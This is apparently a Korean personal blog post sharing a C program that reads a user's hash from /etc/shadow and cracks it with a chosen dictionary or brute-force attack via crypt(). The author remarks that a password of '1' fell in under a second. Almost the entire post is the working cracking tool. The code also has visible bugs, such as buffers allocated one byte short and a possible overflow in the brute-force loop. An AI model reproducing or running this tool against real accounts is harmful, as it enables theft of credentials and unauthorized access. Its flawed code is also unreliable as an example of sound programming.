리눅스 패스워드 크랙킹 프로그램.

crypt 함수를 이용하여 /etc/shadow에서 리눅스 패스워드 정보를 가져와서, 사전대입공격 또는 무차별대입공격 중 선택하여 패스워드를 크랙킹한다. vi로 짜고 gcc로 컴파일했음..
전에 농협해킹사건때 비밀번호가 1이라고 하던데 제 리눅스 패스워드 해시 방식이 sha512인데,  실제로 1로 하고 돌려보니 1초 되기전에 나옴.

#include <stdio.h> #include <string.h> #include <unistd.h> #include <crypt.h> #include <stdlib.h> #include <stdbool.h> typedef struct _USERPWDINFO{ char* pName; char* pHash; } USERPWDINFO; int Carry(char** pWord, int nLength); USERPWDINFO* GetUserPwdInfo(char* pName); bool Compare(char* pWord, char* pHash); char* DictionaryAttack(USERPWDINFO* UserPwdInfo, char* Dictionary_Path); char* BruteForceAttack(USERPWDINFO* UserPwdInfo, int nMaxLength); int main(void) { USERPWDINFO* UserPwdInfo; char szText[128]; int nSelect; system("clear"); printf("ID: "); scanf("%s", szText); UserPwdInfo = GetUserPwdInfo(szText); printf("1. Dictionary Attack\n"); printf("2. Brute Force Attack\n: "); scanf("%d", &nSelect); system("clear"); switch(nSelect){ case 1: printf("DictionaryFile Path: "); scanf("%s", szText); printf("[%s] password is [%s]\n", UserPwdInfo->pName, DictionaryAttack(UserPwdInfo, szText)); break; case 2: printf("Max Length: "); scanf("%d", &nSelect); printf("[%s] password is [%s]\n", UserPwdInfo->pName, BruteForceAttack(UserPwdInfo, nSelect)); break; } free(UserPwdInfo); return 0; } USERPWDINFO* GetUserPwdInfo(char* pName) { USERPWDINFO* UserPwdInfo; FILE* fp; char szPwdInfo[512]; char* pTmp; fp = fopen("/etc/shadow", "r"); UserPwdInfo = (USERPWDINFO*)malloc(sizeof(USERPWDINFO)); while( fgets(szPwdInfo, 512, fp) != NULL ) { pTmp = strtok(szPwdInfo, ":"); if(strcmp(pTmp, pName)){ continue; } UserPwdInfo->pName = (char*)malloc(sizeof(char) * strlen(pTmp)); strcpy(UserPwdInfo->pName, pTmp); pTmp = strtok(NULL, ":"); UserPwdInfo->pHash = (char*)malloc(sizeof(char) * strlen(pTmp)); strcpy(UserPwdInfo->pHash, pTmp); fclose(fp); return UserPwdInfo; } fclose(fp); free(UserPwdInfo); return NULL; } bool Compare(char* pWord, char* pHash) { char* pResult; pResult = crypt(pWord, pHash); if(!strcmp(pResult, pHash)) { return true; } else { return false; } } char* DictionaryAttack(USERPWDINFO* UserPwdInfo, char* Dictionary_Path) { FILE* fp; char *pResult; static char szWord[128]; fp = fopen(Dictionary_Path, "r"); while( fscanf(fp, "%s", szWord) != EOF ) { if( Compare(szWord, UserPwdInfo->pHash) == true ){ fclose(fp); return szWord; } } fclose(fp); return NULL; } int Carry(char** pWord, int nLength) { int i; for(i=nLength-1; i>=0; i--) { if( (*pWord)[i] == 126 ) { if( i == 0 ){ return 1; } (*pWord)[i] = 33; (*pWord)[i-1]++; } } return 0; } char* BruteForceAttack(USERPWDINFO* UserPwdInfo, int nMaxLength) { int i, j; char* pWord; char* pResult; pWord = (char*)malloc(sizeof(char) * nMaxLength); for(i=0; i<nMaxLength; i++) { for(j=0; j<=i; j++) { pWord[j] = 33; } pWord[i+1]='\0'; while(1) { printf("%s\n", pWord); if( Compare(pWord, UserPwdInfo->pHash) == true ){ return pWord; } pWord[i]++; if( Carry(&pWord, i+1) == 1 ){ break; } } } return NULL; }